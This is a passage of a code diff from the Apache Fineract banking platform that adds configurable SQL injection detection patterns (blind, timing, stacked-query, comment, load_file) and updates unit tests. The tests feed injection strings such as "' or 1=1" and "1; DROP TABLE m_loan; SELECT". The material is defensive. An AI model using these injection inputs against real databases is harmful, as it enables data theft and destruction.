final SearchParameters searchParameters = SearchParameters.forPaginationAndAccountNumberSearch(offset, limit, orderBy, sortOrder, sqlValidator.validate(orderBy);
accountNo); sqlValidator.validate(sortOrder);
sqlValidator.validate(accountNo);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).accountNo(accountNo).build();
Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId, Page<ShareAccountDividendData> dividendDetails = this.shareAccountDividendReadPlatformService.retriveAll(dividendId,
searchParameters); searchParameters);
return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails); return this.toApiAccountDetailJsonSerializer.serialize(dividendDetails);
@@ -62,19 +62,19 @@ public class ShareProductDividendReadPlatformServiceImpl implements ShareProduct
sqlBuilder.append(" and pod.status = ?"); sqlBuilder.append(" and pod.status = ?");
params.add(status); params.add(status);
} }
if (searchParameters.isOrderByRequested()) { if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()); sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) { if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder()); sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder()); this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
} }
} }
if (searchParameters.isLimited()) { if (searchParameters.hasLimit()) {
sqlBuilder.append(" "); sqlBuilder.append(" ");
if (searchParameters.isOffset()) { if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else { } else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit())); sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -179,6 +179,101 @@ fineract.module.investor.enabled=${FINERACT_MODULE_INVESTOR_ENABLED:true}
fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true} fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true}
# sql validation
# inject-blind
fineract.sql-validation.patterns[0].name=inject-blind
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
# detect-entry-point
fineract.sql-validation.patterns[1].name=detect-entry-point
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
# inject-timing
fineract.sql-validation.patterns[2].name=inject-timing
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
# detect-backend
fineract.sql-validation.patterns[3].name=detect-backend
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
# detect-column
fineract.sql-validation.patterns[4].name=detect-column
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
# detect-out-of-bands
fineract.sql-validation.patterns[5].name=detect-out-of-bands
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
# inject-stacked-query
fineract.sql-validation.patterns[6].name=inject-stacked-query
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
# inject-comment
fineract.sql-validation.patterns[7].name=inject-comment
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
# main
fineract.sql-validation.profiles[0].name=main
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[0].patternRefs[0].order=0
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[0].patternRefs[1].order=1
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[0].patternRefs[2].order=2
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[0].patternRefs[3].order=3
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[0].patternRefs[4].order=4
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[0].patternRefs[5].order=5
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[0].patternRefs[6].order=6
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[0].patternRefs[7].order=7
fineract.sql-validation.profiles[0].enabled=true
# adhoc
fineract.sql-validation.profiles[1].name=adhoc
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[1].patternRefs[0].order=0
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[1].patternRefs[1].order=1
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[1].patternRefs[2].order=2
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[1].patternRefs[3].order=3
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[1].patternRefs[4].order=4
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[1].patternRefs[5].order=5
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[1].patternRefs[6].order=6
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[1].patternRefs[7].order=7
fineract.sql-validation.profiles[1].enabled=true
# dynamic
fineract.sql-validation.profiles[2].name=column
fineract.sql-validation.profiles[2].description=Column Validation Profile
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[2].patternRefs[0].order=0
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[2].patternRefs[1].order=1
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[2].patternRefs[2].order=2
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[2].patternRefs[3].order=3
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-out-of-bands
fineract.sql-validation.profiles[2].patternRefs[4].order=4
fineract.sql-validation.profiles[2].patternRefs[5].name=inject-stacked-query
fineract.sql-validation.profiles[2].patternRefs[5].order=5
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-comment
fineract.sql-validation.profiles[2].patternRefs[6].order=6
fineract.sql-validation.profiles[2].enabled=true
# Logging pattern for the console # Logging pattern for the console
logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}} logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}}
logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}] logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]
@@ -38,6 +38,7 @@ import org.apache.fineract.infrastructure.core.service.migration.TenantDataSourc
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier; import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService; import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService; import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig; import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
import org.apache.fineract.infrastructure.jobs.service.JobRegisterService; import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
import org.junit.jupiter.api.extension.ExtendWith; import org.junit.jupiter.api.extension.ExtendWith;
@@ -45,7 +46,7 @@ import org.mockito.Mockito;
import org.mockito.junit.jupiter.MockitoExtension; import org.mockito.junit.jupiter.MockitoExtension;
import org.mockito.junit.jupiter.MockitoSettings; import org.mockito.junit.jupiter.MockitoSettings;
import org.mockito.quality.Strictness; import org.mockito.quality.Strictness;
import org.springframework.batch.core.configuration.ListableJobLocator; import org.springframework.batch.core.configuration.JobRegistry;
import org.springframework.batch.core.explore.JobExplorer; import org.springframework.batch.core.explore.JobExplorer;
import org.springframework.batch.core.launch.JobLauncher; import org.springframework.batch.core.launch.JobLauncher;
import org.springframework.batch.core.launch.JobOperator; import org.springframework.batch.core.launch.JobOperator;
@@ -99,18 +100,6 @@ public class TestConfiguration {
}; };
} }
@Primary
@Bean
public JobExplorer jobExplorer() {
return mock(JobExplorer.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobLauncher jobLauncher() {
return mock(JobLauncher.class, RETURNS_MOCKS);
}
@Primary @Primary
@Bean @Bean
public HikariDataSource tenantDataSource() { public HikariDataSource tenantDataSource() {
@@ -189,8 +178,20 @@ public class TestConfiguration {
@Primary @Primary
@Bean @Bean
public ListableJobLocator listableJobLocator() { public JobExplorer jobExplorer() {
return mock(ListableJobLocator.class, RETURNS_MOCKS); return mock(JobExplorer.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobLauncher jobLauncher() {
return mock(JobLauncher.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobRegistry jobRegistry() {
return mock(JobRegistry.class, RETURNS_MOCKS);
} }
@Primary @Primary
@@ -210,4 +211,10 @@ public class TestConfiguration {
public OkHttpClient okHttpClient() { public OkHttpClient okHttpClient() {
return mock(OkHttpClient.class, RETURNS_MOCKS); return mock(OkHttpClient.class, RETURNS_MOCKS);
} }
@Primary
@Bean
public GenericDataService genericDataService() {
return mock(GenericDataService.class, RETURNS_MOCKS);
}
} }
@@ -32,31 +32,34 @@ import com.google.gson.JsonObject;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
import org.apache.fineract.TestConfiguration;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException; import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator; import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.core.service.database.DatabaseType; import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver; import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData; import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException; import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.mockito.InjectMocks;
import org.mockito.Mock; import org.mockito.Mock;
import org.mockito.Mockito; import org.mockito.Mockito;
import org.mockito.MockitoAnnotations; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet; import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.test.context.ContextConfiguration;
@SpringBootTest
@ContextConfiguration(classes = TestConfiguration.class)
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive") @SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
public class ReadWriteNonCoreDataServiceImplTest { public class ReadWriteNonCoreDataServiceImplTest {
@Mock @Autowired
private JdbcTemplate jdbcTemplate; private JdbcTemplate jdbcTemplate;
@Mock @Autowired
private GenericDataService genericDataService; private GenericDataService genericDataService;
@Mock @Mock
@@ -65,17 +68,13 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Mock @Mock
private DatabaseSpecificSQLGenerator sqlGenerator; private DatabaseSpecificSQLGenerator sqlGenerator;
@InjectMocks @Autowired
private ReadWriteNonCoreDataServiceImpl underTest; private ReadWriteNonCoreDataService underTest;
@BeforeEach
public void setup() {
MockitoAnnotations.openMocks(this);
}
@Test @Test
public void testSqlInjectionCaughtQueryDataTable() { public void testSqlInjectionCaughtQueryDataTable() {
mockDatatableValidation(); when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
assertThrows(PlatformApiDataValidationException.class, () -> { assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1"); underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
}); });
@@ -83,7 +82,8 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test @Test
public void testSqlInjectionCaughtQueryDataTable2() { public void testSqlInjectionCaughtQueryDataTable2() {
mockDatatableValidation(); when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
assertThrows(PlatformApiDataValidationException.class, () -> { assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT"); underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
}); });
@@ -91,8 +91,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test @Test
public void testQueryDataTableSuccess() { public void testQueryDataTableSuccess() {
mockDatatableValidation();
SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class); SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class))) when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
.thenReturn(sqlRS); .thenReturn(sqlRS);
when(sqlRS.next()).thenReturn(true).thenReturn(false); when(sqlRS.next()).thenReturn(true).thenReturn(false);
@@ -111,6 +112,7 @@ public class ReadWriteNonCoreDataServiceImplTest {
false, dialect); false, dialect);
ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false, ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
false, dialect); false, dialect);
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2)); when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"); List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
@@ -121,8 +123,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test @Test
public void testQueryDataTableValidationError() { public void testQueryDataTableValidationError() {
mockDatatableValidation(); when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList()); when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2")); assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
} }
@@ -136,8 +139,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@ParameterizedTest @ParameterizedTest
@MethodSource("provideParameters") @MethodSource("provideParameters")
public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) { public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
mockDatatableValidation(); when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL); when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
DatabaseType dialect = databaseTypeResolver.databaseType(); DatabaseType dialect = databaseTypeResolver.databaseType();
ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false, ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
false, dialect); false, dialect);
@@ -154,10 +158,6 @@ public class ReadWriteNonCoreDataServiceImplTest {
assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode()); assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
} }
private void mockDatatableValidation() {
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
}
private static Stream<Arguments> provideParameters() { private static Stream<Arguments> provideParameters() {
return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"), return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
Arguments.of("INTEGER", "validation.msg.invalid.integer.format"), Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
@@ -1,149 +0,0 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import java.util.Arrays;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
public class SQLInjectionValidatorTest {
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
@Test
public void testValidateSqlInputQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput("' or 1=1");
});
}
@Test
public void testValidateSqlInputSemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput("; drop table foo;");
});
}
@Test
public void testValidateAdhocQueryQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery("' or 1=1");
});
}
@Test
public void testValidateAdhocQuerySemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
});
}
@Test
public void testValidateDynamicQueryQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery("' or 1=1");
});
}
@Test
public void testValidateDynamicQuerySemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
});
}
@Test
public void testValidateSqlLInputReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(ddl);
});
});
Arrays.asList(DML_COMMANDS).forEach(dml -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(dml);
});
});
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(comment);
});
});
}
@Test
public void testValidateAdhocQueryReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery(ddl);
});
});
// left out intentionally from adhocquery validation?
// Arrays.asList(DML_COMMANDS).forEach(dml -> {
// Assertions.assertThrows(SQLInjectionException.class, () -> {
// SQLInjectionValidator.validateAdhocQuery(dml);
// });
// });
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery(comment);
});
});
}
@Test
public void testValidateDynamicQueryReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(ddl);
});
});
Arrays.asList(DML_COMMANDS).forEach(dml -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(dml);
});
});
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(comment);
});
});
}
@Test
public void testValidateDynamicQueryColon() {
SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
}
@Test
public void testValidateDynamicQueryReservedWordsInsideValue() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
}
}
@@ -0,0 +1,74 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import static org.junit.jupiter.api.Assertions.assertEquals;
import io.cucumber.java8.En;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.function.Executable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
public class SqlValidatorStepDefinitions implements En {
private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
@Autowired
private SqlValidator sqlValidator;
private Executable executable;
private String statement;
private Integer fuzzy = 0;
public SqlValidatorStepDefinitions() {
Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
this.statement = statement;
if (fuzzy != null) {
this.fuzzy = fuzzy;
}
});
When("Validating the partial statement", () -> {
if (fuzzy != null && fuzzy > 0) {
String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
statement = statement.replaceAll(" ", whitespaces);
}
executable = () -> sqlValidator.validate(statement);
});
Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
if (StringUtils.isBlank(expectedMessage)) {
Assertions.assertDoesNotThrow(executable);
} else {
var exception = Assertions.assertThrows(SqlValidationException.class, executable);
assertEquals(expectedMessage, exception.getMessage());
// log.info("Validator message: {}", exception.getMessage());
}
});
}
}
@@ -99,6 +99,103 @@ fineract.sampling.sampledClasses=
fineract.module.investor.enabled=true fineract.module.investor.enabled=true
# sql validation
# inject-blind
fineract.sql-validation.patterns[0].name=inject-blind
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
# detect-entry-point
fineract.sql-validation.patterns[1].name=detect-entry-point
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
# inject-timing
fineract.sql-validation.patterns[2].name=inject-timing
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
# detect-backend
fineract.sql-validation.patterns[3].name=detect-backend
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
# detect-column
fineract.sql-validation.patterns[4].name=detect-column
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
# detect-out-of-bands
fineract.sql-validation.patterns[5].name=detect-out-of-bands
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
# inject-stacked-query
fineract.sql-validation.patterns[6].name=inject-stacked-query
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
# inject-comment
fineract.sql-validation.patterns[7].name=inject-comment
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
# main
fineract.sql-validation.profiles[0].name=main
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[0].patternRefs[0].order=0
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[0].patternRefs[1].order=1
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[0].patternRefs[2].order=2
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[0].patternRefs[3].order=3
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[0].patternRefs[4].order=4
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[0].patternRefs[5].order=5
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[0].patternRefs[6].order=6
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[0].patternRefs[7].order=7
fineract.sql-validation.profiles[0].enabled=true
# adhoc
fineract.sql-validation.profiles[1].name=adhoc
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[1].patternRefs[0].order=0
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[1].patternRefs[1].order=1
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[1].patternRefs[2].order=2
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[1].patternRefs[3].order=3
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[1].patternRefs[4].order=4
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[1].patternRefs[5].order=5
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[1].patternRefs[6].order=6
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[1].patternRefs[7].order=7
fineract.sql-validation.profiles[1].enabled=true
# dynamic
